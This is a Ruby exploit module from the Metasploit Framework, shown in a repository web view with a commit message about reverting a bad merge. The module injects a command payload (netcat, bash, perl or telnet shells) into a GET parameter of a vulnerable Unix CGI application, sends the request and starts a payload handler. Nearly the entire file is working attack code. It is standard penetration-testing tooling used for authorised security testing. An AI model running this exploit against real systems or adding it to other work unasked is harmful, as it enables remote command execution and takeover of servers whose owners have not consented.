Files
metasploit-gs/modules/exploits/unix/webapp/generic_exec.rb
T
Tod Beardsley 7e539332db Reverting disaster merge to 593363c5f with diff
There was a disaster of a merge at 6f37cf22eb that is particularly
difficult to untangle (it was a bad merge from a long-running local
branch).

What this commit does is simulate a hard reset, by doing thing:

 git checkout -b reset-hard-ohmu
 git reset --hard 593363c5f9
 git checkout upstream-master
 git checkout -b revert-via-diff
 git diff --no-prefix upstream-master..reset-hard-ohmy > patch
 patch -p0 < patch

Since there was one binary change, also did this:

 git checkout upstream-master data/exploits/CVE-2012-1535/Main.swf

Now we have one commit that puts everything back. It screws up
file-level history a little, but it's at least at a point where we can
move on with our lives. Sorry.
2013-07-29 21:47:52 -05:00

79 lines
2.2 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Generic Web Application Unix Command Execution',
'Description' => %q{
This module can be used to exploit any generic command execution vulnerability
for CGI applications on Unix-like platforms. To use this module, specify the
CMDURI path, replacing the command itself with XXcmdXX. This module is currently
limited to forms vulnerable through GET requests with query parameters.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' => [ ],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet netcat netcat-e bash',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Nov 14 1993', # CGI historical date :)
'DefaultTarget' => 0))
register_options(
[
OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]),
], self.class)
end
def exploit
uri = datastore['CMDURI'].to_s
uri,query = uri.split('?', 2)
if query
query = query.split('&').map{|var|
k,v = var.split('=', 2)
Rex::Text.uri_encode(k) + "=" + Rex::Text.uri_encode(v.gsub("XXcmdXX", payload.encoded))
}.join('&')
uri = uri + '?' + query
end
print_status("Sending HTTP request for #{uri}")
res = send_request_cgi( {
'global' => true,
'uri' => uri
}, 30)
if res
print_status("The server responded with HTTP CODE #{res.code}")
else
print_status("The server did not respond to our request")
end
handler
end
end